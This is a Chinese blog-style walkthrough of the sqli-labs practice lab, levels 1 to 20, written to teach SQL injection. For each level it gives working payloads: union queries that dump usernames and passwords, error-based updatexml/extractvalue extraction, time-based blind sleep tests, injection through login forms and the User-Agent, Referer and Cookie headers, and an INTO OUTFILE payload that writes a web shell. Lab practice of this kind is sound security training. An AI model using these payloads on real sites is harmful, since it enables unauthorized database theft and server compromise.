热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

sqlilabs通关之路上

Page1less-1基于错误的GET单引号字符型注入首先在末尾添加单引号​?报错然后猜解列数?unionselect1,

Page1

less-1基于错误的GET单引号字符型注入


首先在末尾添加单引号

?id=1' 报错


然后猜解列数

?id=1 order by 1 --+ 正常

?id=1 order by 4 --+ 报错

说明列数为3


联合查询

?id=-1'union select 1,2,3--+

回显结果为2和3

查看后端源码得查询语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

则我们构造的出查询语句为

SELECT * FROM users WHERE id='-1'union select 1,2,3--+ LIMIT 0,1

因为报错以及--+注释导致真正执行的查询语句为

select 1,2,3

之后根据显示在页面上的数字就可以知道相对应的“通道”,只需要把这个数字改成我们想查询的内容(如id,password),当数据爆破成功后,就会在页面显示我们想要的结果。


信息收集

用户名:root@localhost

?id=-1'union select 1,user(),3--+

数据库名:security

?id=-1'union select 1,database(),3--+

数据库版本:5.5.44-0ubuntu0.14.04.1

?id=-1'union select 1,version(),3--+

操作系统:debian-linux-gnu

?id=-1'union select 1,@@version_complie_os,3--+

group_concat 可以将所有的tables 提取出来

information_schema是mysql特有的库,存储各种数据库的信息

查表名:Password:emails,referers,uagents,users

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查字段名:id,username,password

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查数据:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

?id=-1' union select 1,2,group_concat(username)from security.users--+

查密码:

Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

?id=-1' union select 1,2,group_concat(password)from security.users--+


Less-2 基于错误的GET整型注入


对比源码

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

与Less-1相比缺少了单引号,因此将Less-1中Payload去掉闭合所用的单引号即可

实际注入中需注意让联合查询中前面的语句报错,导致返回后面的查询结果

?id=1 and 1=2 union select 1,2,3--


Less-3 基于错误的GET单引号变形字符型注入


查看源码

$sql="SELECT * FROM users WHERE id=($'id') LIMIT 0,1";

正常注入发现括号不能被合并,所以需要手动合并括号以确保sql语句的正常执行

Payload:?id=-1') union select 1,user(),version()--+


Less-4 基于错误的GET双引号字符型注入


查看源码

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

可以看出后端对id进行了预处理,增加了双引号

所以我们要对后端的双引号进行闭合处理

$sql="SELECT * FROM users WHERE id=("-1") union select 1,2,3--+") LIMIT 0,1";

Payload:?id=-1") union select 1,2,3--+


Less-5 双注入GET单引号字符型注入


查看源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'You are in...........';
}else{
print_r(mysql_error());
}

可知为单引号字符型注入,由于没有数据回显,所以采用盲注,结合sqlmap等注入工具进行数据获取

Payload:?id=1' and sleep(5)--+

可以发现如果sql执行报错会回显错误,所以也可能存在显错注入

尝试报错注入:1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

回显结果正确 存在报错注入


Less-6 双注入GET双引号字符型注入


查看源码

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

发现与前一关类似只不过换成了双引号,将前一关中Payload换成双引号即可


Less-7 导出文件GET字符型注入

手工测试发现?id=1'))可以进行闭合

?id=1')) order by 4--+时报错 推测有三列

闭合之后发现into_outfile关键字 猜测使用文件导出功能

可以使用此方法getshell:

?id=1')) union select 1,'',3 into outfile 'www\html\test.php' --+


Less-8 布尔型单引号GET盲注

测试发现单引号可以闭合,无回显,尝试盲注:?id=1' and sleep(5)--+

测试库名:

长度:?id=1' and if(length(database())=8,sleep(5),sleep(9))--+

字符:?id=1' and if(substr(database(),1,1)='s',sleep(5),sleep(9))--+

ascii:?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(9))--+


Less-9 基于时间的GET单引号盲注

明显的时间盲注:?id=1' and sleep(5)--+


Less-10 基于时间的双引号盲注

双引号闭合的盲注:?id=1" and sleep(5)--+


Less-11 基于错误的POST型单引号字符型注入

万能密码尝试后登录成功 回显用户名密码 猜测为单引号闭合

之后order猜列数,union select确定回显通道

Payload:uname=admin&passwd=1' union select user(),database()#&submit=Submit


Less-12 基于错误的双引号POST型字符型变形的注入

使用") or 1 #双引号闭合万能密码登入 猜测双引号闭合

Payload:uname=admin&passwd=1") union select user(),database()#&submit=Submit


Less-13 POST单引号变形双注入

使用uname=admin') or 1 #&passwd=11&submit=Submit成功登入 发现无回显 尝试盲注

尝试'uname=admin') and sleep(5) #&passwd=11&submit=Submit确认存在盲注

尝试报错注入:1') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

回显正确 存在报错注入


Less-14 POST双引号变形双注入

测试发现uname=admin" or 1 #&passwd=11&submit=Submit成功登入 无回显 尝试盲注

测试uname=admin" and sleep(3) #&passwd=11&submit=Submit存在盲注

报错注入:uname=admin" and extractvalue(1,concat(0x7e,(select database()))) #&passwd=11&submit=Submit


Less-15 基于bool型/时间延迟单引号POST型盲注

使用admin' or 1#成功登入 说明为单引号闭合 无回显 尝试盲注

测试admin' and sleep(3)#成功 存在盲注


Less-16 基于bool型/时间延迟的双引号POST型盲注

使用admin") or 1#成功登入 说明为双引号闭合 无回显 尝试盲注

测试admin“) and sleep(3)#成功 存在盲注


Less-17 基于错误的更新查询POST注入


查看源码

接受传参 其中$uname参数会被检查 因此我们在密码处尝试注入

$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];

更新语句为单引号字符型 且存在报错语句 尝试进行报错注入

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
print_r(mysql_error());

使用1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #回显正确 存在报错注入

爆表名:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

爆列名:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #

爆数据:1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) #失败

尝试1' and updatexml(1,concat(0x7e,(select username from (select username from users limit 0,1)test),0x7e),1) #获得用户名

接着1' and updatexml(1,concat(0x7e,(select username from (select username from users where username='admin' limit 0,1)test),0x7e),1) #拿到密码


Less-18 基于错误的用户代理,头部POST注入


查看代码

发现对用户名和密码的输入均进行了检查

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

但对uagent进行了插入操作 可能存在注入

$insert="INSERT INTO security.uagents (uagent, ip_address, username`) VALUES ('$uagent','$IP', $uname)";
mysql_query($insert);

使用admin admin登录成功后 发现UserAgert存在回显 尝试注入

报错注入:1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#回显正确 存在报错注入

最终执行语句为:

INSERT INTO security.uagents (uagent, ip_address, username`) VALUES ('1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))

Less-19 基于头部的Referer POST报错注入

与上一关类似 在Referer处增加单引号报错 可能为单引号闭合 尝试报错注入

Payload复用:1' ,1,extractvalue(1,concat(0x7e,(database()),0x7e)))# 回显正确 存在报错注入


Less-20 基于错误的COOKIE头部POST注入

首先在COOKIE后添加单引号 发现报错 判断其为单引号闭合

使用order by查询 判断有三列

再用admin' and 1=2 union select 1,2,3#查询获得回显通道 存在union注入



推荐阅读
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • imx6ull开发板驱动MT7601U无线网卡的方法和步骤详解
    本文详细介绍了在imx6ull开发板上驱动MT7601U无线网卡的方法和步骤。首先介绍了开发环境和硬件平台,然后说明了MT7601U驱动已经集成在linux内核的linux-4.x.x/drivers/net/wireless/mediatek/mt7601u文件中。接着介绍了移植mt7601u驱动的过程,包括编译内核和配置设备驱动。最后,列举了关键词和相关信息供读者参考。 ... [详细]
  • 成功安装Sabayon Linux在thinkpad X60上的经验分享
    本文分享了作者在国庆期间在thinkpad X60上成功安装Sabayon Linux的经验。通过修改CHOST和执行emerge命令,作者顺利完成了安装过程。Sabayon Linux是一个基于Gentoo Linux的发行版,可以将电脑快速转变为一个功能强大的系统。除了作为一个live DVD使用外,Sabayon Linux还可以被安装在硬盘上,方便用户使用。 ... [详细]
  • Ubuntu安装常用软件详细步骤
    目录1.GoogleChrome浏览器2.搜狗拼音输入法3.Pycharm4.Clion5.其他软件1.GoogleChrome浏览器通过直接下载安装GoogleChro ... [详细]
  • ubuntu用sqoop将数据从hive导入mysql时,命令: ... [详细]
  • JDK源码学习之HashTable(附带面试题)的学习笔记
    本文介绍了JDK源码学习之HashTable(附带面试题)的学习笔记,包括HashTable的定义、数据类型、与HashMap的关系和区别。文章提供了干货,并附带了其他相关主题的学习笔记。 ... [详细]
  • MySQL语句大全:创建、授权、查询、修改等【MySQL】的使用方法详解
    本文详细介绍了MySQL语句的使用方法,包括创建用户、授权、查询、修改等操作。通过连接MySQL数据库,可以使用命令创建用户,并指定该用户在哪个主机上可以登录。同时,还可以设置用户的登录密码。通过本文,您可以全面了解MySQL语句的使用方法。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 本文介绍了Linux系统中正则表达式的基础知识,包括正则表达式的简介、字符分类、普通字符和元字符的区别,以及在学习过程中需要注意的事项。同时提醒读者要注意正则表达式与通配符的区别,并给出了使用正则表达式时的一些建议。本文适合初学者了解Linux系统中的正则表达式,并提供了学习的参考资料。 ... [详细]
  • Ubuntu 9.04中安装谷歌Chromium浏览器及使用体验[图文]
    nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • 在CentOS/RHEL 7/6,Fedora 27/26/25上安装JAVA 9的步骤和方法
    本文介绍了在CentOS/RHEL 7/6,Fedora 27/26/25上安装JAVA 9的详细步骤和方法。首先需要下载最新的Java SE Development Kit 9发行版,然后按照给出的Shell命令行方式进行安装。详细的步骤和方法请参考正文内容。 ... [详细]
  • 本文介绍了在Linux下安装和配置Kafka的方法,包括安装JDK、下载和解压Kafka、配置Kafka的参数,以及配置Kafka的日志目录、服务器IP和日志存放路径等。同时还提供了单机配置部署的方法和zookeeper地址和端口的配置。通过实操成功的案例,帮助读者快速完成Kafka的安装和配置。 ... [详细]
author-avatar
chenkaij_305
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有